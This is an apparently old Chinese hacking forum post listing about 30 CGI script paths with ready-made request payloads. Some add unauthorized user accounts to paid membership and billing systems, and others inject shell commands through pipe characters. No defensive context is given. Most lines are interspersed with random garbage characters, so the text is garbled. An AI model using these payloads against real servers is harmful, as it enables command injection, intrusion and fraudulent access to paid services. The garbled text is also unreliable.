Cgi-bin 30个漏洞＋使用方法

admin

==============================
: v9 i' u5 |+ G
/smspass.pl
username=username&password=password
, t# D( F3 ?$ h
/index.cgi
wei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password
* x% V. G) E1 S1 l# T
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
" ]( z8 l8 o4 y4 Q4 xname=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
+ g# D/ X4 U8 v  Luser=username&pass=Password&confirm=Password

/ccbill-local.asp
9 _& U% N, c1 ?& ypost_values=username:password

9 a! x9 [) j6 M# Y. c6 n. g/count.cgi
pinfile=|echo;ls -la;exit|

! j% i# Z0 ?& Z1 `% D' s2 f/recon.cgi
5 I. g9 r. e9 j: T2 \, }/ v# m$ ~* F- h/recon.cgi?search
! K% |# W+ `; {7 d- N5 _searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
  Q; m9 o3 A1 y! yvercode=username:password:dseegsow:add:amount<&30>
. F9 E, @) B# R+ B
3 i# l. u* b$ u7 \/af.cgi
/ Q% q7 z( H# Y2 S_browser_out=|echo;ls -la;exit;|

' z  M7 s% o+ g5 T/modify.cgi
username=username&password=password&expire=30

/openjournal.cgi
8 p8 o4 c+ K) K, B. X# Q, n. hedit=1&ct=2&go=|echo;ls -al;exit|
4 X4 d" ~) l' p: |, K5 S
/gx9passwd.cgi
cmd=ADD&user=username&pass=password

% ]+ f8 }1 i7 ~. m5 Z& T5 O/probecontrol.cgi
command=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
9 b) n6 Z- J; Y8 Z7 \
6 }' E; R2 e% Q- J! f" j0 j% j/htadd.pl
configfile=|echo; ls -alt; exit
, i! ^- h. s, x8 }  C6 {. _
/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/ibill*.pl
+ U! |, Q% m* y; L/ ]: I  Ireqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
$ H* _/ N- z$ o0 l/ j
  F' H+ Z  E$ _. ^/globill_ut.cgi
8 D! Y/ [4 b, g4 Q# S) Wdo=add&username=username&password=password&wpassword=password

& w- K6 P# {& d/usercontrol.cgi
command=enable&username=USER&password=PASS
/ z; s3 D0 X5 d' u- {
/globoSALErum.cgi
. l; q# o2 X. e( ]: paction=ADD&seccode=seccode&login=username&password=password
3 {6 Q( B. r% `0 F4 q4 |! i/ V; F* }
2 K  ^: \8 e1 }7 H$ \8 s* t/addusr.pl
/ Z9 S" D6 {# M3 n  m8 [1 U" vuser=USER&pass=PASS&confirm=PASS

/pincount.cgi
- r# ?$ Y( t% {/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

6 B5 P9 R5 G& _( F/accountcreate.cgi
6 ?9 U3 P0 F4 J5 J, {% G  Q/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
4 ?" W% p/ q2 E+ J
, W9 k3 n3 |; N% q3 I, S/af.cgi
" L9 s& T% s/ s5 P* s) K/env.cgi
: _9 |* |$ K& j' DADD+;echo;pwd;exit
6 U8 l3 R4 |& ~2 a  K( b/ ^  z
/count.cgi
0 e* W  g+ Z, a: c& Zpinfile=|echo;pwd;exit|

& a3 r  O7 h0 q! I/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
0 X' ]7 q& k% Jusername=username&password=password&expire=30
4 n+ u8 {0 }* |+ T
0 s; Y2 @4 B1 ^' u5 m==============================